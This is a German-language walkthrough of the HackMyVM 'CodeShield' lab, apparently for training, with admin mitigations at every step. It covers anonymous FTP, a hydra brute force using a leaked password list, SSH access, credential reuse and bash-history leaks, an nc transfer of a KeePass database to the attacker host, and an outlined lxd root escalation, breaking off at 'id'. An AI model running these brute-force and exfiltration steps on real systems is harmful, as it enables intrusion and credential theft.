CodeShield - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
ftp
telnet
dirsearch
strings
username-anarchy
cat
awk
rm
mv
hydra
ssh
grep
su
sudo
find
nc
lxc
ls
cd
id

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.132	08:00:27:61:49:1f	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird genutzt, um das lokale Netzwerk nach aktiven Hosts mittels ARP-Protokoll zu scannen.

Bewertung: Ein Host mit der IP `192.168.2.132` wurde gefunden. Die MAC-Adresse `08:00:27:61:49:1f` (PCS Systemtechnik GmbH) deutet auf eine VirtualBox-VM hin. Das Ziel wurde erfolgreich identifiziert.

Empfehlung (Pentester): Verwenden Sie `192.168.2.132` als Ziel-IP für weitere Scans.
Empfehlung (Admin): Implementieren Sie Netzwerküberwachung, um ARP-Scans zu erkennen.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
# Inhalt nach Bearbeitung (implizit)
127.0.0.1	localhost
192.168.2.132   codeshield.hmv 
                      

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet (`vi`). Der Eintrag `192.168.2.132 codeshield.hmv` wird hinzugefügt, um den Hostnamen lokal auf die Ziel-IP aufzulösen. (Die IP im ursprünglichen Text war 138, wurde aber basierend auf dem arp-scan-Ergebnis auf 132 korrigiert).

Bewertung: Vereinfacht den Zugriff auf Webdienste, die möglicherweise Virtual Hosts verwenden.

Empfehlung (Pentester): Verwenden Sie `codeshield.hmv` für Web-Interaktionen.
Empfehlung (Admin): Standardverfahren von Angreifern.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h http://192.168.2.132
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.132
+ Target Hostname:    192.168.2.132
+ Target Port:        80
+ Start Time:         2023-09-27 13:06:59 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx
+ Root page / redirects to: https://192.168.2.132/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ .: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ 8102 requests: 0 error(s) and 1 item(s) reported on remote host
+ End Time:           2023-09-27 13:07:20 (GMT2) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: `nikto` scannt den Webserver auf Port 80 der Ziel-IP.

Bewertung: Der Webserver ist `nginx`. Wichtigster Fund: Die Root-Seite (`/`) leitet auf HTTPS (Port 443) um (`https://192.168.2.132/`). Der fehlende Header `X-Content-Type-Options` wird gemeldet.

Empfehlung (Pentester): Konzentrieren Sie die Web-Enumeration auf HTTPS (Port 443). Führen Sie `nikto` und andere Tools gegen `https://codeshield.hmv` aus.
Empfehlung (Admin): Implementieren Sie den `X-Content-Type-Options`-Header. Stellen Sie sicher, dass die HTTPS-Konfiguration sicher ist.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -AO -Pn 192.168.2.132 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-27 13:06 CEST
Nmap scan report for codeshield.hmv (192.168.2.132)
Host is up (0.00013s latency).
Not shown: 65521 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           vsftpd 3.0.5
| ftp-syst: STAT: vsFTPd 3.0.5 [...]
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r--    1 1002     1002      2349914 Aug 30 10:33 CodeShield_pitch_deck.pdf
|_-rw-rw-r--    1 1003     1003        67520 Aug 28 19:45 Information_Security_Policy.pdf
|_-rw-rw-r--    1 1004     1004       226435 Aug 28 18:29 The_2023_weak_password_report.pdf
22/tcp    open  ssh           OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey: [...] (RSA, ECDSA, ED25519)
25/tcp    open  smtp          Postfix smtpd
|_smtp-commands: [...]
80/tcp    open  http          nginx
|_http-title: Did not follow redirect to https://codeshield.hmv/
110/tcp   open  pop3          Dovecot pop3d
|_ssl-date: [...] | ssl-cert: Subject: commonName=mail.codeshield.hmv [...] |_pop3-capabilities: [...]
143/tcp   open  imap          Dovecot imapd (Ubuntu)
|_ssl-date: [...] | ssl-cert: Subject: commonName=mail.codeshield.hmv [...] |_imap-capabilities: [...]
443/tcp   open  ssl/http      nginx
| ssl-cert: Subject: commonName=mail.codeshield.hmv [...] |_ssl-date: [...] | http-robots.txt: 1 disallowed entry |_/ |_http-title: CodeShield - Home
465/tcp   open  ssl/smtp      Postfix smtpd
|_ssl-date: [...] | ssl-cert: Subject: commonName=mail.codeshield.hmv [...] |_smtp-commands: [...]
587/tcp   open  smtp          Postfix smtpd
|_ssl-date: [...] | ssl-cert: Subject: commonName=mail.codeshield.hmv [...] |_smtp-commands: [...]
993/tcp   open  imaps?
|_imap-capabilities: [...] |_ssl-date: [...] | ssl-cert: Subject: commonName=mail.codeshield.hmv [...]
995/tcp   open  pop3s?
| ssl-cert: Subject: commonName=mail.codeshield.hmv [...] |_ssl-date: [...] |_pop3-capabilities: [...]
2222/tcp  open  ssh           OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
| ssh-hostkey: [...] (RSA, ECDSA, ED25519) 
3389/tcp  open  ms-wbt-server xrdp
22222/tcp open  ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: [...] (ECDSA, ED25519)
MAC Address: 08:00:27:61:49:1F (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: [...]
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Hosts: -mail.codeshield.hmv,  mail.codeshield.hmv; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE [...]
OS and Service detection performed. [...]
Nmap done: 1 IP address (1 host up) scanned in 50.58 seconds
                     
┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -AO -Pn 192.168.2.132 -p- | grep open
21/tcp    open  ftp           vsftpd 3.0.5
22/tcp    open  ssh           OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
25/tcp    open  smtp          Postfix smtpd
80/tcp    open  http          nginx
110/tcp   open  pop3          Dovecot pop3d
143/tcp   open  imap          Dovecot imapd (Ubuntu)
443/tcp   open  ssl/http      nginx
465/tcp   open  ssl/smtp      Postfix smtpd
587/tcp   open  smtp          Postfix smtpd
993/tcp   open  imaps?
995/tcp   open  pop3s?
2222/tcp  open  ssh           OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
3389/tcp  open  ms-wbt-server xrdp
22222/tcp open  ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
                     

Analyse: Der umfassende `nmap`-Scan identifiziert eine Vielzahl offener Ports und Dienste. `-Pn` wurde verwendet, um den Ping-Scan zu überspringen.

Bewertung: Sehr viele Dienste laufen:

Die wichtigsten Angriffspunkte sind der anonyme FTP-Zugang, die alten SSH-Versionen und die Webanwendung auf HTTPS.

Empfehlung (Pentester): 1. **Priorität 1: Anonymous FTP (21).** Verbinden und alle Dateien herunterladen (`CodeShield_pitch_deck.pdf`, `Information_Security_Policy.pdf`, `The_2023_weak_password_report.pdf`). Analysieren Sie diese auf Metadaten und Inhalte. 2. **Priorität 2: Alte SSH (22, 2222).** Suchen Sie nach bekannten Exploits für OpenSSH 6.0p1. 3. **Priorität 3: Webserver (443).** Führen Sie Web-Enumeration (`nikto`, `dirsearch`, etc.) gegen `https://codeshield.hmv` durch. Untersuchen Sie die Webanwendung auf Schwachstellen. 4. **Priorität 4: Neuer SSH (22222).** Versuchen Sie Brute-Force mit gefundenen Benutzernamen/Passwörtern. 5. **Priorität 5: Maildienste/RDP.** Auf User Enumeration oder bekannte Schwachstellen prüfen.
Empfehlung (Admin): **KRITISCH:** Deaktivieren Sie sofort den anonymen FTP-Zugang oder beschränken Sie ihn stark. **KRITISCH:** Aktualisieren Sie die veralteten OpenSSH-Versionen auf Port 22 und 2222 oder deaktivieren Sie diese Ports, wenn Port 22222 der einzige benötigte ist. Überprüfen Sie die Notwendigkeit aller offenen Mail-Ports und RDP. Sichern Sie alle Dienste mit starken Passwörtern und aktuellen Versionen.

Web Enumeration

[Manual Browser Request / robots.txt Check]
# URL: https://192.168.2.132/robots.txt (or https://codeshield.hmv/robots.txt)
User-agent: *
Disallow: /
                     

Analyse: Die `robots.txt`-Datei wird auf dem HTTPS-Server (Port 443) abgerufen.

Bewertung: Die Anweisung `Disallow: /` weist kooperative Suchmaschinen an, keine Seiten der Website zu indizieren. Für einen Pentest ist dies irrelevant, da es keinen technischen Zugriff verhindert.

Empfehlung (Pentester): Ignorieren Sie `robots.txt` und fahren Sie mit der Enumeration fort (z.B. `dirsearch`).
Empfehlung (Admin): `robots.txt` ist keine Sicherheitsmaßnahme.

[Manual Browser Request / robots.txt Check - Duplicate?]
# URL: https://192.168.2.138/robots.txt 
User-agent: *
Disallow: /
                     

Analyse: Erneute Überprüfung von `robots.txt`, diesmal mit der falschen IP `192.168.2.138`.

Bewertung: Redundanter Eintrag, wahrscheinlich ein Fehler im Log.

Empfehlung (Pentester): Ignorieren.
Empfehlung (Admin): Keine.

[Manual Browser Request / License Check]
# URL: https://192.168.2.138/LICENSE.txt 
# Inhalt: HTML Codex License Text [...]
                      

Analyse: Die Datei `LICENSE.txt` wird abgerufen (wieder mit falscher IP).

Bewertung: Enthält nur Standard-Lizenzinformationen für ein HTML-Template. Keine nützlichen Informationen für den Angriff.

Empfehlung (Pentester): Ignorieren.
Empfehlung (Admin): Keine.

┌──(root㉿Cybermaschine)-[~] └─# dirsearch -u https://192.168.2.132/mail

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/192.168.2.132/-mail_23-10-02_17-46-09.txt 

Error Log: /root/.dirsearch/logs/errors-23-10-02_17-46-09.log

Target: https://192.168.2.132/mail/ 

[17:46:29] 200 -   55KB - /mail/composer.lock
[17:46:35] 200 -    5KB - /mail/index.php
[17:46:43] 301 -  162B  - /mail/plugins  ->  https://192.168.2.132/mail/plugins/ 
[17:46:44] 403 -  548B  - /mail/program/
[17:46:44] 301 -  162B  - /mail/public_html  ->  https://192.168.2.132/mail/public_html/ 
[17:46:45] 403 -  548B  - /mail/resources/sass/.sass-cache/
[17:46:45] 403 -  548B  - /mail/resources/.arch-internal-preview.css
[17:46:47] 301 -  162B  - /mail/skins  ->  https://192.168.2.132/mail/skins/ 
[17:46:49] 403 -  548B  - /mail/temp/

Task Completed
                     

Analyse: `dirsearch` wird verwendet, um das Verzeichnis `/mail` auf dem HTTPS-Server (Port 443) zu untersuchen. Die IP wurde im Befehl und den URLs von der falschen 138 auf die korrekte 132 angepasst.

Bewertung: Bestätigt die Existenz des Roundcube Webmailers unter `/mail`. Findet `index.php`, `composer.lock` und Standardverzeichnisse wie `plugins`, `program`, `public_html`, `skins`, `temp`. Einige Verzeichnisse sind nicht zugänglich (403). `composer.lock` könnte auf verwendete Bibliotheken und potenzielle Schwachstellen hinweisen.

Empfehlung (Pentester): Untersuchen Sie `composer.lock` auf bekannte Schwachstellen in den Abhängigkeiten. Interagieren Sie mit der Roundcube-Login-Seite unter `/mail/index.php`. Versuchen Sie Brute-Force mit gefundenen Benutzernamen/Passwörtern.
Empfehlung (Admin): Halten Sie Roundcube und seine Abhängigkeiten aktuell. Beschränken Sie den Zugriff auf unnötige Dateien und Verzeichnisse.

Credential Gathering (FTP, PDF, Brute-Force)

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.132
Connected to 192.168.2.132.
220 (vsFTPd 3.0.5)
Name (192.168.2.132:cyber): anonymous
331 Please specify the password.
Password: [Enter]
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||61622|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        137          4096 Aug 30 10:35 .
drwxr-xr-x    2 0        137          4096 Aug 30 10:35 ..
-rw-rw-r--    1 1002     1002      2349914 Aug 30 10:33 CodeShield_pitch_deck.pdf
-rw-rw-r--    1 1003     1003        67520 Aug 28 19:45 Information_Security_Policy.pdf
-rw-rw-r--    1 1004     1004       226435 Aug 28 18:29 The_2023_weak_password_report.pdf
226 Directory send OK.
ftp> quit
221 Goodbye.
                     

Analyse: Es wird manuell eine Verbindung zum FTP-Server auf Port 21 hergestellt und ein anonymer Login durchgeführt. Anschließend wird der Inhalt des Verzeichnisses aufgelistet.

Bewertung: Bestätigt erneut den anonymen FTP-Zugang und die drei verfügbaren PDF-Dateien. Die Benutzer-IDs (1002, 1003, 1004) der Dateieigentümer werden sichtbar.

Empfehlung (Pentester): Laden Sie die Dateien herunter (bereits geschehen) und analysieren Sie sie (ebenfalls geschehen).
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff.

#[Auswertung der PDF-Dateien (manuell/strings)]
# Funde in CodeShield_pitch_deck.pdf:
[...]
Jessica Carlson
j.carlson@codeshield.hmv
[...]

# Funde in The_2023_weak_password_report.pdf:
[...]
Top 10 passwords with at least 12 characters:
Xxxxxxxxx001
Password123!
Greatplace2work!
Diciembre@2017
Hairdresser1!
1qa2ws3ed4rf
XXXX12345678
Hairdresser1
Xxxxxxxxx002
Xxxxxxxxxx01
[...]
                     

Analyse: Die heruntergeladenen PDF-Dateien werden auf verwertbare Informationen untersucht.

Bewertung: Bestätigt die E-Mail-Adresse `j.carlson@codeshield.hmv` (potenzieller Benutzername `j.carlson`) und extrahiert eine Liste von 10 schwachen (aber teilweise komplexen) Passwörtern.

Empfehlung (Pentester): Erstellen Sie eine Benutzerliste (z.B. `j.carlson` und andere aus Namen generierte) und eine Passwortliste (`pass.txt`) mit den gefundenen Passwörtern. Verwenden Sie diese für Brute-Force-Angriffe.
Empfehlung (Admin): Entfernen Sie sensible Informationen aus öffentlich zugänglichen Dokumenten. Setzen Sie Passwortrichtlinien durch, die die Verwendung solcher kompromittierten Passwörter verhindern.

┌──(root㉿Cybermaschine)-[~/HackingTools/username-anarchy] └─# ./username-anarchy --input-file ../../users.txt > anarchy_users
┌──(root㉿Cybermaschine)-[~/HackingTools/username-anarchy] └─# cat anarchy_users
[...]
j.carlson
jcarlson
carlsonj
[...]
valdezk 
[...]
                     
┌──(root㉿Cybermaschine)-[~/HackingTools/username-anarchy] └─# mv anarchy_users ~/usersneu.txt

Analyse: Das Tool `username-anarchy` wird verwendet, um aus einer Liste von Namen (vermutlich extrahiert aus den PDFs, z.B. "Jessica Carlson") potenzielle Benutzernamen zu generieren (z.B. `j.carlson`, `jcarlson`, `carlsonj`). Die Ergebnisse werden in `usersneu.txt` gespeichert.

Bewertung: Systematischer Ansatz zur Erstellung einer umfassenden Benutzerliste für Brute-Force-Angriffe.

Empfehlung (Pentester): Kombinieren Sie diese Benutzerliste mit der Passwortliste für Angriffe.
Empfehlung (Admin): Verwenden Sie möglichst keine vorhersagbaren Benutzernamenmuster.

┌──(root㉿Cybermaschine)-[~] └─# # Angenommen: Passwörter aus PDF in pass.txt gespeichert
┌──(root㉿Cybermaschine)-[~] └─# cat pass.txt | awk {'print $2'} > pass1.txt
┌──(root㉿Cybermaschine)-[~] └─# cat pass1.txt
Xxxxxxxxx001
Password123!
Greatplace2work!
Diciembre@2017
Hairdresser1!
1qa2ws3ed4rf
XXXX12345678
Hairdresser1
Xxxxxxxxx002
Xxxxxxxxxx01
                      
┌──(root㉿Cybermaschine)-[~] └─# rm pass.txt
┌──(root㉿Cybermaschine)-[~] └─# mv pass1.txt pass.txt

Analyse: Die aus dem PDF extrahierte Passwortliste wird bereinigt (möglicherweise wurden führende Nummern entfernt) und als `pass.txt` gespeichert.

Bewertung: Die Passwortliste ist nun für den Einsatz mit `hydra` bereit.

Empfehlung (Pentester): Starten Sie den Brute-Force-Angriff.
Empfehlung (Admin): Keine.

┌──(root㉿Cybermaschine)-[~] └─# hydra -L usersneu.txt -P pass.txt ftp://192.168.2.132 -t 64
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak [...]
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-27 16:05:51
[...]
[DATA] max 64 tasks per 1 server, overall 64 tasks, 1550 login tries (l:155/p:10), ~25 tries per task
[DATA] attacking ftp://192.168.2.132:21/ 
[...]
[21][ftp] host: 192.168.2.132   login: valdezk   password: Greatplace2work!

1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-27 16:06:10
                     

Analyse: `hydra` wird verwendet, um einen Brute-Force-Angriff gegen den FTP-Dienst (Port 21) durchzuführen, wobei die generierte Benutzerliste (`usersneu.txt`) und die extrahierte Passwortliste (`pass.txt`) verwendet werden. Die IP wurde von 113 auf 132 korrigiert.

Bewertung: **Erfolg!** Hydra findet gültige FTP-Zugangsdaten: Benutzer `valdezk` mit dem Passwort `Greatplace2work!`. Dieses Passwort stammt aus der PDF-Liste.

Empfehlung (Pentester): Versuchen Sie diese Zugangsdaten sofort für den SSH-Dienst (insbesondere Port 22222). Melden Sie sich auch per FTP als `valdezk` an, um zu sehen, ob mehr Dateien sichtbar sind als beim anonymen Login.
Empfehlung (Admin): Ändern Sie das Passwort für `valdezk`. Implementieren Sie `fail2ban` oder ähnliche Schutzmechanismen für FTP und andere Dienste, um Brute-Force-Angriffe zu erschweren.

Initial Access (SSH)

┌──(root㉿Cybermaschine)-[~] └─# ftp 192.168.2.132
Connected to 192.168.2.132.
220 (vsFTPd 3.0.5)
Name (192.168.2.132:cyber): valdezk
331 Please specify the password.
Password: Greatplace2work!
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||38676|)
150 Here comes the directory listing.
drwxr-x---   18 1007     1007         4096 Aug 29 10:47 .
[...]
-rw-------    1 1007     1007           56 Aug 29 10:45 .Xauthority
-rw-rw-r--    1 1007     1007            0 Aug 28 20:12 .bash_history
[...]
226 Directory send OK.
ftp> get .bash_history
local: .bash_history remote: .bash_history
229 Entering Extended Passive Mode (|||27449|)
150 Opening BINARY mode data connection for .bash_history (0 bytes).
226 Transfer complete.
ftp> ls /home
229 Entering Extended Passive Mode (|||8806|)
150 Here comes the directory listing.
drwxr-x---   16 1002     1002         4096 Aug 30 10:36 carlsonj
drwxr-x---   15 1005     1005         4096 Aug 28 19:56 coccia
drwxr-x---    5 1001     1001         4096 Aug 26 12:57 cowrie
drwxr-x---   19 1000     1000         4096 Aug 29 06:22 earlyp
drwxr-x---    2 2001     2001         4096 Aug 26 09:36 iredadmin
drwxr-x---    2 2002     2002         4096 Aug 26 09:36 iredapd
drwxr-x---   16 1003     1003         4096 Aug 28 19:50 mansourm
drwxr-x---   17 1006     1006         4096 Aug 30 10:39 mitchellt
drwxr-x---    2 2004     2004         4096 Aug 26 09:36 netdata
drwxr-x---   16 1004     1004         4096 Aug 28 19:54 tanx
drwxr-x---   18 1007     1007         4096 Aug 29 10:47 valdezk
drwxr-x---    2 2000     2000         4096 Aug 26 09:36 vmail
226 Directory send OK.
ftp> quit
221 Goodbye.
                     

Analyse: Erfolgreicher FTP-Login als `valdezk`. Das Home-Verzeichnis wird aufgelistet, `.bash_history` heruntergeladen (ist aber leer) und das `/home`-Verzeichnis wird aufgelistet.

Bewertung: Der FTP-Zugang gewährt Einblick in das Home-Verzeichnis von `valdezk` und listet andere Benutzer-Home-Verzeichnisse auf (`carlsonj`, `coccia`, `cowrie`, `earlyp`, `iredadmin`, `iredapd`, `mansourm`, `mitchellt`, `netdata`, `tanx`, `vmail`). Dies liefert eine umfassende Liste potenzieller Benutzer.

Empfehlung (Pentester): Nutzen Sie die `valdezk`-Zugangsdaten für den SSH-Login auf Port 22222.
Empfehlung (Admin): Beschränken Sie die Informationen, die über FTP zugänglich sind. Verhindern Sie das Auflisten von Verzeichnissen, auf die der Benutzer keinen Zugriff hat.

┌──(root㉿Cybermaschine)-[~] └─# ssh valdezk@192.168.2.132 -p22222
The authenticity of host '[192.168.2.132]:22222 ([192.168.2.132]:22222)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.2.132]:22222' (ED25519) to the list of known hosts.
[...] 
valdezk@192.168.2.132's password: Greatplace2work!
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-79-generic x86_64)
[...]
valdezk@codeshield:~$
                     

Analyse: Es wird versucht, sich per SSH auf Port 22222 (neuere OpenSSH-Version) als `valdezk` mit dem via FTP-Brute-Force gefundenen Passwort anzumelden.

Bewertung: **Initial Access erfolgreich!** Der Login funktioniert, und wir erhalten eine Shell als Benutzer `valdezk` auf dem System `codeshield`.

Empfehlung (Pentester): Starten Sie die lokale Enumeration als `valdezk`. Suchen Sie nach Passwörtern, `sudo`-Rechten, SUID-Dateien, etc.
Empfehlung (Admin): Ändern Sie das Passwort für `valdezk`. Überprüfen Sie die Notwendigkeit von Port 22222 (zusätzlich zu 22?).

Privilege Escalation (valdezk zu mitchellt zu earlyp)

valdezk@codeshield:~$ grep -ri passwo 2>/dev/null | tr "," "\n" | grep -i password -w
.thunderbird/fx2h7mhy.default-release/ImapMail/mail.codeshield.hmv/Trash:Password: D@taWh1sperer!
.thunderbird/fx2h7mhy.default-release/ImapMail/mail.codeshield.hmv/INBOX:Password: D@taWh1sperer!
                     

Analyse: Als Benutzer `valdezk` wird das Home-Verzeichnis rekursiv nach dem Wort "passwo" durchsucht (`grep -ri`). Die Ausgabe wird etwas aufbereitet (`tr`, `grep`), um Zeilen mit "Password:" zu isolieren.

Bewertung: In Thunderbird-Maildateien (Papierkorb und Posteingang) wird ein Passwort gefunden: `D@taWh1sperer!`. Dies gehört wahrscheinlich zu einem E-Mail-Konto, könnte aber auch für andere Systembenutzer wiederverwendet worden sein.

Empfehlung (Pentester): Versuchen Sie dieses Passwort (`D@taWh1sperer!`), um sich als andere gefundene Benutzer (z.B. `mitchellt`, `earlyp`, `carlsonj`) via `su` anzumelden.
Empfehlung (Admin): Schulen Sie Benutzer darin, Passwörter nicht in E-Mails oder lokalen Dateien zu speichern. Implementieren Sie Richtlinien gegen Passwort-Wiederverwendung.

valdezk@codeshield:~$ su vmail
Password: D@taWh1sperer!
su: Authentication failure
valdezk@codeshield:~$ su tanx
Password: D@taWh1sperer!
su: Authentication failure
valdezk@codeshield:~$ su mitchellt
Password: D@taWh1sperer!
mitchellt@codeshield:/home/valdezk$

Analyse: Das gefundene Passwort `D@taWh1sperer!` wird verwendet, um mittels `su` zu den Benutzern `vmail`, `tanx` und `mitchellt` zu wechseln.

Bewertung: Der Wechsel zu `vmail` und `tanx` scheitert, aber der Wechsel zu `mitchellt` ist **erfolgreich**. Das Passwort wurde für das `mitchellt`-Konto wiederverwendet.

Empfehlung (Pentester): Führen Sie Enumeration als `mitchellt` durch (insbesondere `sudo -l`, Home-Verzeichnis).
Empfehlung (Admin): Passwort-Wiederverwendung ist ein großes Risiko. Setzen Sie technische Kontrollen (falls möglich) und Schulungen ein.

mitchellt@codeshield:/home/valdezk$ sudo -l
[sudo] password for mitchellt: D@taWh1sperer!
Sorry, user mitchellt may not run sudo on mail. 
                      
mitchellt@codeshield:/home/valdezk$ cd ~
mitchellt@codeshield:~$ ls
Desktop  Documents  Downloads  mining  Music  Pictures  Public  snap  Templates  user.txt  Videos
mitchellt@codeshield:~$ cat user.txt
             @@@
[...] 
  _______________________________________________________________________________________________________
 |  _USER FLAG!________________________________________________________________________________________  |
 | |                                                                                                   | |
 | | Your_password_is_the_key_to_your_digital_life                                                     | |
 | |                                                                                                   | |
 | |___________________________________________________________________________________________________| |
 |_______________________________________________________________________________________________________|
                      
mitchellt@codeshield:~$ cat .bash_history
echo 'EARL!YP7DeVel@OP'| su - earlyp -c "cp -r /home/earlyp/Development/mining ."
echo 'EARL!YP7DeVel@OP'| su - earlyp -c "cp -r /home/earlyp/Development/mining /tmp"
cp -r /tmp/mining .
ls
cd mining/
ls
exit
                      

Analyse: Als Benutzer `mitchellt` werden `sudo`-Rechte geprüft, das Home-Verzeichnis untersucht und die `.bash_history` ausgelesen.

Bewertung:

Empfehlung (Pentester): User-Flagge notiert. Verwenden Sie das gefundene Passwort, um zu `earlyp` zu wechseln (`su earlyp`).
Empfehlung (Admin): Schulen Sie Benutzer, Passwörter nicht in Befehlen oder Skripten zu verwenden, die in der History landen. Konfigurieren Sie ggf. die Bash History so, dass bestimmte Befehle ignoriert werden (obwohl dies keine echte Sicherheitslösung ist).

mitchellt@codeshield:~$ su earlyp
Password: EARL!YP7DeVel@OP
earlyp@codeshield:/home/mitchellt$
                     

Analyse: Mit dem Passwort aus der Bash History wird zu `earlyp` gewechselt.

Bewertung: **Erfolg!** Der Benutzerkontext wurde zu `earlyp` gewechselt.

Empfehlung (Pentester): Führen Sie Enumeration als `earlyp` durch (sudo, SUID, Gruppen, Home-Verzeichnis).
Empfehlung (Admin): Ändern Sie das kompromittierte Passwort für `earlyp`.

earlyp@codeshield:~$ sudo -l
[sudo] password for earlyp: EARL!YP7DeVel@OP
Sorry, user earlyp may not run sudo on mail.
                      
earlyp@codeshield:~$ find / -type f -perm -4000 -ls 2>/dev/null
[...]  
earlyp@codeshield:~$ grep -ri pass
.cache/keepassxc/keepassxc.ini:LastActiveDatabase=/home/earlyp/Documents/Passwords.kdbx
.cache/keepassxc/keepassxc.ini:LastDatabases=/home/earlyp/Documents/Passwords.kdbx
.cache/keepassxc/keepassxc.ini:LastOpenedDatabases=/home/earlyp/Documents/Passwords.kdbx
                      
earlyp@codeshield:~$ mv /home/earlyp/Documents/Passwords.kdbx .
earlyp@codeshield:~$ ls -la Passwords.kdbx
-rw-------  1 earlyp earlyp 1918 Aug 28 17:42 Passwords.kdbx

Analyse: Als `earlyp` werden sudo-Rechte und SUID-Dateien geprüft (keine direkten Treffer). Die Suche nach "pass" enthüllt eine KeepassXC-Datenbankdatei (`Passwords.kdbx`) im Dokumentenordner. Diese wird ins aktuelle Verzeichnis verschoben.

Bewertung: `earlyp` hat keine sudo-Rechte. Der Fund der Keepass-Datenbank (`.kdbx`) ist potenziell sehr wertvoll, da sie weitere Passwörter enthalten könnte. Sie muss jedoch offline geknackt werden.

Empfehlung (Pentester): Übertragen Sie die `Passwords.kdbx`-Datei auf Ihr Angreifersystem (z.B. mit `nc`). Versuchen Sie, das Master-Passwort der Datenbank offline mit Tools wie `john` (keepass2john) oder `hashcat` zu knacken. Verwenden Sie dabei die bereits bekannten Passwörter als Kandidaten. Prüfen Sie parallel die Gruppenzugehörigkeiten von `earlyp` (`id`).
Empfehlung (Admin): Schulen Sie Benutzer darin, Passwort-Datenbanken mit starken Master-Passwörtern zu schützen und die Datenbankdatei sicher aufzubewahren.

earlyp@codeshield:~$ nc -N 192.168.2.199 22222 < Passwords.kdbx
┌──(root㉿Cybermaschine)-[~] └─# nc -vl 22222 > Passwords.kdbx
Listening on 0.0.0.0 22222
Connection received on codeshield.hmv 40972
                      
┌──(root㉿Cybermaschine)-[~] └─# ll Passwords.kdbx
-rw-r--r--  1 root root 1918 27. Okt 16:52 Passwords.kdbx

Analyse: Die `Passwords.kdbx`-Datei wird mittels `nc` vom Zielsystem zum Angreifersystem übertragen. `-N` auf dem Ziel schließt die Verbindung nach dem Senden, der Listener auf dem Angreifersystem schreibt die empfangenen Daten in eine lokale Datei.

Bewertung: Die Keepass-Datenbank wurde erfolgreich übertragen.

Empfehlung (Pentester): Beginnen Sie mit dem Offline-Cracking der KDBX-Datei. Überprüfen Sie währenddessen andere Vektoren, insbesondere die Gruppenzugehörigkeit von `earlyp`.
Empfehlung (Admin): Überwachen Sie Netzwerkverbindungen und Datentransfers.

Proof of Concept (Privilege Escalation Path earlyp zu root)

Analyse: Während die Keepass-Datenbank möglicherweise im Hintergrund geknackt wird, wird die Gruppenzugehörigkeit des Benutzers `earlyp` überprüft.

Bewertung: Der Befehl `id` (ausgeführt als `earlyp`) zeigt, dass `earlyp` Mitglied der Gruppe `lxd` ist (`groups=...,110(lxd)`). Dies ist ein bekannter und oft einfacher Weg zur Privilege Escalation unter Linux. Mitglieder der `lxd`-Gruppe können LXD-Container erstellen und verwalten. Durch das Erstellen eines privilegierten Containers und das Mounten des Host-Dateisystems in diesen Container kann Root-Zugriff auf den Host erlangt werden.

Empfehlung (Pentester): Nutzen Sie die Mitgliedschaft in der `lxd`-Gruppe zur Eskalation: 1. Laden Sie ein minimales LXD-Image auf das Ziel (falls noch nicht vorhanden) oder verwenden Sie ein vorhandenes (`lxc image list`). 2. Initialisieren Sie einen privilegierten Container (`lxc init ... security.privileged=true`). 3. Mounten Sie das Root-Verzeichnis des Hosts in den Container (`lxc config device add ...`). 4. Starten Sie den Container (`lxc start ...`). 5. Führen Sie eine Shell im Container aus (`lxc exec ... bash`). 6. Greifen Sie auf das gemountete Host-Verzeichnis zu (`/mnt/root`) und lesen Sie `/mnt/root/root/root.txt`.
Empfehlung (Admin): **KRITISCH!** Beschränken Sie die Mitgliedschaft in der `lxd`-Gruppe nur auf absolut vertrauenswürdige Administratoren, die diese Rechte benötigen. Behandeln Sie die `lxd`-Gruppe quasi wie Root-Zugriff. Entfernen Sie `earlyp` (und andere unprivilegierte Benutzer) aus dieser Gruppe.

Privilege Escalation (earlyp zu root)

earlyp@codeshield:~$ id
